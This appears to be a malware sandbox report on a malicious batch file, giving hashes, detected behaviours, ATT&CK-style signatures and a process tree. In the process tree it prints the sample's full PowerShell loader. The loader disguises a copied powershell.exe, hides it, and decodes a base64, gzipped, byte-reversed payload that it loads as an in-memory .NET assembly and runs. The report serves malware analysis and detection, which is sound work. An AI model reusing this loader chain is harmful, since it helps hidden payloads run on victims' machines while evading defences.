Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
120s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
21/08/2024, 11:26
Static task
static1
Behavioral task
behavioral1
Sample
ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat
Resource
win10v2004-20240802-en
General
-
Target
ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat
-
Size
1.4MB
-
MD5
70b340ae3989a38ceb1545ede320f991
-
SHA1
cb35aa2ea5282c6d3f051400466705058890a424
-
SHA256
ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8
-
SHA512
06c2ad0da9b0bb9c316170c65d0b54a8b0b69ff6c574eb62cb56e0b41b18c12c9d1b7f3eeb0279932e9c44201874f0d76b9d8cc889701578f7e6d1ef4af032c7
-
SSDEEP
24576:WYAnya111NrQcqRpa01Y31TGLN051hed0ELLtk1Koe78TYqE:WjyAwc1aLNch8HLG11dY
Malware Config
Signatures
-
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 2736 attrib.exe -
Executes dropped EXE 1 IoCs
pid Process 2748 ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2748 ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2748 ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2748 ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks -
Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 808 wrote to memory of 2640 808 cmd.exe 31 PID 808 wrote to memory of 2640 808 cmd.exe 31 PID 808 wrote to memory of 2640 808 cmd.exe 31 PID 808 wrote to memory of 2636 808 cmd.exe 32 PID 808 wrote to memory of 2636 808 cmd.exe 32 PID 808 wrote to memory of 2636 808 cmd.exe 32 PID 808 wrote to memory of 2736 808 cmd.exe 33 PID 808 wrote to memory of 2736 808 cmd.exe 33 PID 808 wrote to memory of 2736 808 cmd.exe 33 PID 808 wrote to memory of 2748 808 cmd.exe 34 PID 808 wrote to memory of 2748 808 cmd.exe 34 PID 808 wrote to memory of 2748 808 cmd.exe 34 PID 808 wrote to memory of 2748 808 cmd.exe 34 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2736 attrib.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:808 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵PID:2640
-
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks2⤵PID:2636
-
-
C:\Windows\system32\attrib.exeattrib +s +h C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:2736
-
-
C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.QksC:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks -WindowStyle hidden -command "$Tgxjzck = get-content 'C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat' | Select-Object -Last 1; $Sqfmta = [System.Convert]::FromBase64String($Tgxjzck);$Mxcwwsucaf = New-Object System.IO.MemoryStream( , $Sqfmta );$Swnerx = New-Object System.IO.MemoryStream;$Sdlyutgsqdo = New-Object System.IO.Compression.GzipStream $Mxcwwsucaf, ([IO.Compression.CompressionMode]::Decompress);$Sdlyutgsqdo.CopyTo( $Swnerx );$Sdlyutgsqdo.Close();$Mxcwwsucaf.Close();[byte[]] $Sqfmta = $Swnerx.ToArray();[Array]::Reverse($Sqfmta); $Xkoilavqpaz = [System.Threading.Thread]::GetDomain().Load($Sqfmta); $Pfarfm = $Xkoilavqpaz.EntryPoint; [System.Delegate]::CreateDelegate([Action], $Pfarfm.DeclaringType, $Pfarfm.Name).DynamicInvoke() | Out-Null"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2748
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks
Filesize442KB
MD592f44e405db16ac55d97e3bfe3b132fa
SHA104c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA2566c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
SHA512f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f